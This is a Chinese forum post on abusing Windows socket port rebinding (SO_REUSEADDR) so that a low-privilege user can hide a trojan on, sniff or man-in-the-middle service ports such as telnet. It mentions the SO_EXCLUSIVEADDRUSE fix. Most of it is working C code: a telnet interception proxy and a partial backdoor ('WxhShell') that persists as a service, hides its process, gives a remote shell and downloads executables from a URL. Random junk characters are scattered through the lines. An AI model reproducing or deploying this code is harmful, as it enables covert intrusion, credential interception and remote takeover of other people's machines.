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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: QCa$<~c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); //Hn[wEOh  
'8i np[_  
  saddr.sin_family = AF_INET; \0(QO8.  
AvEJX0"\df  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); R7x4v  
`8xe2=Ub  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6rt.ec(  
.4_EaQ;jX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 isDBNXV:  
8\. #  
  这意味着什么?意味着可以进行如下的攻击: 0D|^S<z6  
o*f7/ZP1o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (IIOKx_  
d|j3E  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e0j*e7$  
k-Jj k3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <|hvH  
BA A)IQF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }n:'@}  
b,KQG|k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T9RR. ng  
c pgHF`nt  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~6kEpa  
{G%`K,T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T"in   
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  #include ["MF-tQ5  
  #include 22}J.'Zb  
  #include .9lx@6]+  
  #include    ]#j]yGV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Rw^4S@~T  
  int main() '2uQ  
  { 6}n_r}kNR  
  WORD wVersionRequested; i)+@'!6  
  DWORD ret; D7[ 8*^  
  WSADATA wsaData;  #XQEfa  
  BOOL val; C[&  \Xq  
  SOCKADDR_IN saddr; EtcAU}9  
  SOCKADDR_IN scaddr; _;v4 ]MU  
  int err; k/j]*~"  
  SOCKET s; r<UZ\d -  
  SOCKET sc; Xv]O1fcI  
  int caddsize; 5z5#_*)O  
  HANDLE mt; 2o6KVQ  
  DWORD tid;   ^Ml)g=Fq  
  wVersionRequested = MAKEWORD( 2, 2 ); ;5PXPpJ  
  err = WSAStartup( wVersionRequested, &wsaData ); ::9U5E;!  
  if ( err != 0 ) { +QtK "5M  
  printf("error!WSAStartup failed!\n"); ojT TYR{  
  return -1; ~U~KUL|  
  } _?Rprmjx}  
  saddr.sin_family = AF_INET; c[3sg  
   $;@^coz9U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 LUHj3H  
#If}P$!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dF5EIPl;J  
  saddr.sin_port = htons(23); TW{.qed8^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BV9B}IV  
  { ?\(E+6tpP  
  printf("error!socket failed!\n"); jXSo{  
  return -1; &}OaiTzEmc  
  } )f*&}SV  
  val = TRUE; uPr@xff  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 CS:j->  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ] RN&s  
  { r_@;eh  
  printf("error!setsockopt failed!\n"); QuT8(s1Q!  
  return -1; kHo0I8  
  } )_,*2|b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; PUuxKW}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \WQ\q \  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 GXYmJ4wR  
5T:e4U&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) HIk5Q'ek  
  { x5.H dKV  
  ret=GetLastError(); Rd&2mL  
  printf("error!bind failed!\n"); Z Mt9'w;  
  return -1; 2h IM!wQ  
  } Uk` ym  
  listen(s,2); ;8'hvc3i$  
  while(1) B~D{p t3y  
  { /[q6"R!uMz  
  caddsize = sizeof(scaddr); 4fT,/[k?  
  //接受连接请求 JLT10c3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =$X5O&E3'  
  if(sc!=INVALID_SOCKET) Z[)t34EY"  
  { $k,Z)2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |j^^ *z@  
  if(mt==NULL) ~-.}]N+([  
  { t:eZ`6o$T\  
  printf("Thread Creat Failed!\n"); o:.={)rX  
  break; 5@ %$M$E  
  } P%8 Gaa=  
  } sG=D(n1  
  CloseHandle(mt); ?w#V<3=  
  } ^vn8s~#  
  closesocket(s); aqQ YU5l4~  
  WSACleanup(); 6y)TXp  
  return 0; f7Y0L8D  
  }   ZgP=maQk  
  DWORD WINAPI ClientThread(LPVOID lpParam) =3]}87  
  { F=7X,hK  
  SOCKET ss = (SOCKET)lpParam; }3E@]"<cVR  
  SOCKET sc; TD'RvTpl  
  unsigned char buf[4096]; , ;W6wj  
  SOCKADDR_IN saddr; tSaLR90Y6  
  long num; 5z~rl}`v  
  DWORD val; Iojyku\W.  
  DWORD ret; 4w\ r `@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?3D|{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -*~ = 4m<  
  saddr.sin_family = AF_INET; Dt%G v0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \T `InBbf  
  saddr.sin_port = htons(23); wN>k&J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >v7fR<(%s  
  { 5^<X:1J$  
  printf("error!socket failed!\n"); EiQX* v  
  return -1; 9utiev~3  
  } ![h+ R@_(  
  val = 100; {;4Y5kj  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )e(Rf!P{  
  { 29("gB  
  ret = GetLastError(); 9^6E> S{=  
  return -1; QkS~~|0EI>  
  } VkTdpeBV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *1"xvle  
  { NRN3*YGo  
  ret = GetLastError(); 9 js!gJC  
  return -1; Yz(k4K L  
  } YT'G#U1x~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4[m})X2(  
  { /j/,@,lw7z  
  printf("error!socket connect failed!\n"); AFE6@/'  
  closesocket(sc); F0:|uC4  
  closesocket(ss); $\M<gW6  
  return -1;  J@sH(S  
  } qB6@OS  
  while(1) #S)] `YW  
  { q,`"Z)97  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 FJ XYKpY[r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h sG~xRA\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O#LG$Y n*  
  num = recv(ss,buf,4096,0); pRWEBd1U  
  if(num>0) $mdmuUIy-3  
  send(sc,buf,num,0); *j5>2-C &  
  else if(num==0) %:2EoXN"  
  break; q.0Evr:  
  num = recv(sc,buf,4096,0); !~Vo'ykwx'  
  if(num>0) 4<}!+X7m  
  send(ss,buf,num,0); > %h7)}U  
  else if(num==0) 5.m&93P  
  break; }<R,)ZV^G  
  } x\PZ.o  
  closesocket(ss); %LyZaU_sB  
  closesocket(sc); <7'`N\a  
  return 0 ; tpu2e*n-|  
  } URU,&gy=  
0U|t@&q  
j/.$ (E   
========================================================== \ #<.&`8B  
EQe!&;   
下边附上一个代码,,WXhSHELL "NEg]LB5  
8T6LD  
========================================================== ^*s DJ #  
wcr3ugvT  
#include "stdafx.h" s%M#  
W*J_PL9j  
#include <stdio.h> PLD&/SgP*  
#include <string.h> kw)( "SQ  
#include <windows.h> f>*T0"\c  
#include <winsock2.h> #b~B 0:U  
#include <winsvc.h> -55[3=#  
#include <urlmon.h> Lx%*IE|c  
#1Zqq([@  
#pragma comment (lib, "Ws2_32.lib") T_t5Tg~i[N  
#pragma comment (lib, "urlmon.lib") aQ!QrTua-  
7LEB ,bU  
#define MAX_USER   100 // 最大客户端连接数 J)7\k$D  
#define BUF_SOCK   200 // sock buffer p7{2/m j  
#define KEY_BUFF   255 // 输入 buffer Lk%`hsv  
CFE  ubEb  
#define REBOOT     0   // 重启 &T.d"i  
#define SHUTDOWN   1   // 关机 A]0A,A0  
&10l80vj  
#define DEF_PORT   5000 // 监听端口 M3XG s|gw  
6HroKu  
#define REG_LEN     16   // 注册表键长度 9S 'u 1%  
#define SVC_LEN     80   // NT服务名长度 6U.A/8z  
OaTnQ|*  
// 从dll定义API G5WQTMzf&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d]A.=NAc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m(>MP/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UY>[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^}SP,lg'  
4X-"yQ<U  
// wxhshell配置信息 CdBpz/  
struct WSCFG { bG0 |+k3O  
  int ws_port;         // 监听端口 87!D@Xn  
  char ws_passstr[REG_LEN]; // 口令 ;X_bDiG$  
  int ws_autoins;       // 安装标记, 1=yes 0=no I+oe{#:.  
  char ws_regname[REG_LEN]; // 注册表键名 [8C|v61Y  
  char ws_svcname[REG_LEN]; // 服务名 vHJOpQmt~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IRhi1{K$"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 * 'eE[/K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &}'FC7}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $>JfLSyC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5)5$h]Nz>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uzoI*aqk-s  
Pj-.oS2dA  
}; *wk?{ U  
D\:dn  
// default Wxhshell configuration ^VC /tJ  
struct WSCFG wscfg={DEF_PORT, # &,W x  
    "xuhuanlingzhe", 1NAGGr00  
    1, Fqt,VED  
    "Wxhshell", jJY{np  
    "Wxhshell", w"`Zf7a{/  
            "WxhShell Service", Z8Iqgz7|y  
    "Wrsky Windows CmdShell Service", v)p'0F#6A  
    "Please Input Your Password: ", !dQmg'_V  
  1, nxWm  
  "http://www.wrsky.com/wxhshell.exe", @4t_cxmD  
  "Wxhshell.exe" 7vo8lnQ{  
    }; 4,,DA2^!  
%p48=|+  
// 消息定义模块 H(hE;|q/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HLe/|x\@<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4s s 4O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ) $`}~  
char *msg_ws_ext="\n\rExit."; Y#,&Tu  
char *msg_ws_end="\n\rQuit."; s.X .SJ  
char *msg_ws_boot="\n\rReboot..."; T,a71"c  
char *msg_ws_poff="\n\rShutdown..."; '[Sm w'n6-  
char *msg_ws_down="\n\rSave to "; c@E;v<r'  
]'NL-8x">  
char *msg_ws_err="\n\rErr!"; nt&"? /s  
char *msg_ws_ok="\n\rOK!"; 1[yy/v'q  
YdZ9##IU3  
char ExeFile[MAX_PATH]; #<LJns\t   
int nUser = 0; z''ejq  
HANDLE handles[MAX_USER]; 85x34nT  
int OsIsNt; .5"s[(S  
pG6?"*Fz;  
SERVICE_STATUS       serviceStatus; |oWl9j]Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e# U@n j6  
xfF;u9$;  
// 函数声明 +v2)'?BS  
int Install(void); r|63T%q!  
int Uninstall(void); HA J[Y3d<  
int DownloadFile(char *sURL, SOCKET wsh); sYq:2Wn>8Q  
int Boot(int flag); Z0/$XS9|h;  
void HideProc(void); \.aKxj5  
int GetOsVer(void); ur:8`+" (  
int Wxhshell(SOCKET wsl); ?f$U8A4lp  
void TalkWithClient(void *cs); -Qn l)JB  
int CmdShell(SOCKET sock); 4VHWoN"U  
int StartFromService(void); VFrp7;z43  
int StartWxhshell(LPSTR lpCmdLine); v8YF+N  
}4g$ aTc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J(G-c5&=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y| 0!sNg  
<vE|QxpR  
// 数据结构和表定义 yH(3 m#  
SERVICE_TABLE_ENTRY DispatchTable[] = q@G}Hjn  
{ !|W.YbS  
{wscfg.ws_svcname, NTServiceMain}, e^<'H  
{NULL, NULL} qSDn0^y  
}; C2aA])7 D  
(rc 7Cp3  
// 自我安装 V|hwT^h  
int Install(void) [8<0Q_?,  
{ B^!-%_q  
  char svExeFile[MAX_PATH]; P5H_iH  
  HKEY key; P(s:+  
  strcpy(svExeFile,ExeFile); g[R4/]K^$  
G!`PP  
// 如果是win9x系统,修改注册表设为自启动 VP~(;H5%  
if(!OsIsNt) { )QW hzY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -dWg1`;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v8WT?%  
  RegCloseKey(key); qw*) R#=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @tJ4^<`P{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {+ Ibi{  
  RegCloseKey(key); j 7^A%9  
  return 0; ubZJUm  
    } 73 4t  
  } o%f:BJS  
} )+"5($~  
else { &qK:LHhj  
2~ 4&4  
// 如果是NT以上系统,安装为系统服务 0VrsbkS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {n&n^`Em  
if (schSCManager!=0) j /_&]6!  
{ +~BP~  
  SC_HANDLE schService = CreateService 7x=4P|(\}  
  ( @)x*62r+  
  schSCManager, ,a?oGi  
  wscfg.ws_svcname, 3;FV^V'  
  wscfg.ws_svcdisp, Fc8 0HK5R  
  SERVICE_ALL_ACCESS, dF09_nw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J2 /19'QE  
  SERVICE_AUTO_START, BG8/  
  SERVICE_ERROR_NORMAL, E]8uj8K3]  
  svExeFile, ZW9OPwV  
  NULL, K@JaN/OM  
  NULL, ]v0Z[l>yf  
  NULL, _g fmo  
  NULL, [Y$ TVwFwX  
  NULL Kj"X!-  
  ); wx[m-\  
  if (schService!=0) ~#4FL<W  
  { 8MI8~  
  CloseServiceHandle(schService); uO-|?{29  
  CloseServiceHandle(schSCManager); ,[T/O\k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  \m~p;B  
  strcat(svExeFile,wscfg.ws_svcname); *sZH3:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6-uLK'E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -%]1q#C>@  
  RegCloseKey(key); rQ_]%ies8  
  return 0; t,dm3+R  
    } Ssuz%*  
  } /M::x+/T  
  CloseServiceHandle(schSCManager); w[\rS`J  
} #Q)r6V:  
} |:&O!36  
y.I&x#(^  
return 1; f1v4h[)-  
} UPP"-`t  
#qmsZHd}b  
// 自我卸载 SE43C %hv  
int Uninstall(void) "/RMIS K[;  
{ JBLUX,  
  HKEY key; <&3aP}  
ez!W0  
if(!OsIsNt) { ^H7xFd|>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ef?hkq7X<  
  RegDeleteValue(key,wscfg.ws_regname); 7)Vbp--b#  
  RegCloseKey(key); iF MfBg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nT}Wx/aT  
  RegDeleteValue(key,wscfg.ws_regname); F81EZ/  
  RegCloseKey(key); N6of$p'N  
  return 0; T)OR HJ&,  
  } |dbKK\ X9  
} tK .1 *  
} 8Z_ 4%vUBg  
else { <K<#)mcv  
+-(,'slov  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JKfJ%yy |  
if (schSCManager!=0) !H)-  
{ rm9>gKN;#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q^sZP\i,*;  
  if (schService!=0) 4oH ,_sr  
  { :{ZwzJ  
  if(DeleteService(schService)!=0) { Q!qD3<?5  
  CloseServiceHandle(schService); *Cf!p\7!  
  CloseServiceHandle(schSCManager); T@i* F M  
  return 0; d"miPR  
  } %7}j|eS)G  
  CloseServiceHandle(schService); qbeUc5`1  
  } W+63B8)4  
  CloseServiceHandle(schSCManager); [:#K_EI5%  
} knYp"<qj  
} _K!.TM+9  
|idw?qCn  
return 1; 2nC,1%kxhq  
} t"YsIOT:O"  
A]5];c  
// 从指定url下载文件 ni%)a  
int DownloadFile(char *sURL, SOCKET wsh) d6'G 7'9  
{ *9$SFe|&n:  
  HRESULT hr; .,p=e$x]  
char seps[]= "/"; #"rK1Z  
char *token; P "IR3=  
char *file; V`#2jDz  
char myURL[MAX_PATH]; q)Nw$dW<  
char myFILE[MAX_PATH]; b^C27s  
% g  
strcpy(myURL,sURL); ?#xm6oe#aH  
  token=strtok(myURL,seps); &e:+;7  
  while(token!=NULL) abT,"a\h  
  { =WW5H\?  
    file=token; rvy%8%e?  
  token=strtok(NULL,seps); ^7gKs2M  
  } cPuXy e  
 jF0"AA  
GetCurrentDirectory(MAX_PATH,myFILE); ?YS>_ MN  
strcat(myFILE, "\\"); pKy4***I3  
strcat(myFILE, file); E5)0YYjHZ  
  send(wsh,myFILE,strlen(myFILE),0); 9l &q}  
send(wsh,"...",3,0); gee~>l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m<-!~ ew  
  if(hr==S_OK) uf#h~;B  
return 0; )]FXUz|;  
else &`v?oN9$  
return 1; UAhWJ$(C  
~Ay)kv;  
} F[Mwd &P@  
fxPg"R!1i  
// 系统电源模块 gAdqZJR%]  
int Boot(int flag) :M6v<Kg{;  
{ =dDPQZEin  
  HANDLE hToken; `sT;\  
  TOKEN_PRIVILEGES tkp; ,P`NtTN-  
aMhVO(+FW  
  if(OsIsNt) { k%cE8c}R;A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q0VAkVHw4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s$hO/INr  
    tkp.PrivilegeCount = 1; A8vd@0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FUI*nkZY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gtu<#h(  
if(flag==REBOOT) { 4/`;(*]Fv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z>g>OPu  
  return 0; rx2'].  
} |_TI/i>?'  
else { px K&aY8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "nu]3zcd  
  return 0; Fb]+h)on  
} !P=Cv=  
  } VZWo.Br'W  
  else { * &:_Vgu  
if(flag==REBOOT) { [5?Dov^j 3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MVzuE}  
  return 0; f1ANziC;i  
} GT<oYrjU  
else { `_OrBu[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8A3/@Z;0S  
  return 0; #\lvzMjCC  
} F5 ]<=i  
} j9[I6ko5'  
$YEm(:v$  
return 1; -9t"$)&  
} mYgfGPF`  
n >y,{"J{  
// win9x进程隐藏模块 37zB X~  
void HideProc(void) rV%T+!n%c  
{ MZ,1mR  
T\}U{9ELL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W"vLCHTh  
  if ( hKernel != NULL ) kx;X:I(5&P  
  { k9rws  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <3B^5p\/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W7!gD  
    FreeLibrary(hKernel); '37 {$VHw  
  } 34u[#O{2  
cr!W5+r  
return; Jh E C  
} iX+8!>Q  
JKM(fX+  
// 获取操作系统版本 0AQ4:KV(Y  
int GetOsVer(void) "?3=FBp&  
{ dRJ ](Gw  
  OSVERSIONINFO winfo; jDY B*Y^F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  Ol }5ry  
  GetVersionEx(&winfo); V@`b7GM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j;-Wf6h{  
  return 1; dw<i)P^   
  else ~rBFP)  
  return 0; 1z6aMd6.  
} Z\IM~-  
y 9]d{:9  
// 客户端句柄模块 C{J5:ak  
int Wxhshell(SOCKET wsl) LBy`N_@  
{ Qjj }k)  
  SOCKET wsh;  pRobx  
  struct sockaddr_in client; L K #A  
  DWORD myID; o7!A(Eu  
8IlUbj  
  while(nUser<MAX_USER) ML12&E>  
{ |KYl'"5\  
  int nSize=sizeof(client); kzZgNv#G;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o&1mX  
  if(wsh==INVALID_SOCKET) return 1; zVS{X=u  
g9pKoi|\E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <\^o  
if(handles[nUser]==0) crIF5^3Yby  
  closesocket(wsh); JU>~[yAP  
else b\(f>g[  
  nUser++; Ep;uz5 ^8  
  } l[T-Ak  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1$T`j2s  
!.j{vvQ/  
  return 0; y$R8J:5f  
} 9A.NM+u7  
]20:8l'  
// 关闭 socket M +OVqTsFU  
void CloseIt(SOCKET wsh) uQW)pD{_  
{ fS4foMI63)  
closesocket(wsh); }h;Z_XF&  
nUser--; G!I++M"  
ExitThread(0); {A0F/#M]  
} 6)^*DJy  
b/UXO$_~-  
// 客户端请求句柄 6-wpR  
void TalkWithClient(void *cs) "^$Ht`p[  
{ $l7}e=1  
5_!L"sJ  
  SOCKET wsh=(SOCKET)cs; ^s6~*n<fH  
  char pwd[SVC_LEN]; jv~#'=T'  
  char cmd[KEY_BUFF]; F `:Q  
char chr[1]; bra2xHK@  
int i,j; Sn-#Y(>]o0  
)jL@GW  
  while (nUser < MAX_USER) { 0OHXg=  
jo"nK,r  
if(wscfg.ws_passstr) { $=plAi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5>9Q<*   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SdlO]y9E  
  //ZeroMemory(pwd,KEY_BUFF); O<s7VHj  
      i=0; . \a+m  
  while(i<SVC_LEN) { R9A:"sJ  
2@a'n@-  
  // 设置超时 KJT N"hF   
  fd_set FdRead; DIGw4g4Kt  
  struct timeval TimeOut; 6Mc&=}bV  
  FD_ZERO(&FdRead); k5\V:P=#  
  FD_SET(wsh,&FdRead); U=D;Cj Ah  
  TimeOut.tv_sec=8; B@-\.m  
  TimeOut.tv_usec=0; 7RUztu\_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ye On   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J8~hIy6]  
hD5@PeLh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jzf+"%lv  
  pwd=chr[0]; PJB_"?NTTC  
  if(chr[0]==0xd || chr[0]==0xa) { 1^$hbRq  
  pwd=0; LE}`rW3  
  break; ??nT[bhQ  
  } X{#^O/  
  i++; q,fp DNo  
    } _(f@b1O~  
c(hC'Cp  
  // 如果是非法用户,关闭 socket "T5jz#H#/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2Di~}*9&  
} bsu?Q'q  
eFs5 l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |5;,]lbt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &G%AQpDW5  
i}LQ}35@  
while(1) { qE2<vjRg  
R,D/:k'~k  
  ZeroMemory(cmd,KEY_BUFF); '~ b  
Ut~YvWc9  
      // 自动支持客户端 telnet标准   -!+i ^r  
  j=0; BMAWjEr  
  while(j<KEY_BUFF) { i-0 :Fs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;fqp!|J  
  cmd[j]=chr[0]; LF.i0^#J  
  if(chr[0]==0xa || chr[0]==0xd) { eJqx,W5MK]  
  cmd[j]=0; 3\ajnd|  
  break; %rs2{Q2k  
  } uvl91~&G  
  j++; E*)A!2rlK  
    } _\4r~=`HQ  
_~Od G  
  // 下载文件 ]kNxytH\o  
  if(strstr(cmd,"http://")) { Jy:@&c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZOqA8#\  
  if(DownloadFile(cmd,wsh)) *><j(uz!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '*Y mYU  
  else h(q4 B~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lg-`zV3  
  } (1S9+H>g  
  else { =4q5KI  
 e#5WX  
    switch(cmd[0]) { j\KOKvY)  
  ;Uch  
  // 帮助 tx;2C|S$oU  
  case '?': { 3 a(SmM:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A["6dbvv  
    break; GAH<  
  } @ ~{TL  
  // 安装 f4<~_ZGr  
  case 'i': { 7]u_  
    if(Install()) ,FYA*}[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q +hOW-  
    else br0\O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); + ,]&&  
    break; XH0{|#hwN  
    } d+P<ce2 G  
  // 卸载 uF%N`e^S  
  case 'r': { Nc6y]eGz  
    if(Uninstall()) *C)m#[#:u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); or ~@!  
    else ;N!n06S3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rfdA?X{Q0  
    break; ~mH'8K|l  
    } 7 HL Uk3  
  // 显示 wxhshell 所在路径 ?>=vKU5  
  case 'p': { lKQjG+YF  
    char svExeFile[MAX_PATH]; LVP6vs  
    strcpy(svExeFile,"\n\r"); tvJl-&'N  
      strcat(svExeFile,ExeFile); r_ 9"^Er  
        send(wsh,svExeFile,strlen(svExeFile),0); zGO_S\  
    break; ;,/G*`81B  
    } 5-a^Frmg#"  
  // 重启 mMZ=9 ?m  
  case 'b': { qYqd-R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9%k4Ic%P  
    if(Boot(REBOOT)) ! , ]Fx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qmd2C&Xw  
    else { lh0G/8+C  
    closesocket(wsh); t(,2x%{  
    ExitThread(0); 3Qv9=q|[b  
    } pOy(XUV9O  
    break; ,iiI5FR  
    } RionKiN  
  // 关机 4wS!g10}  
  case 'd': { '6WZi|(a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <1sUK4nQ,  
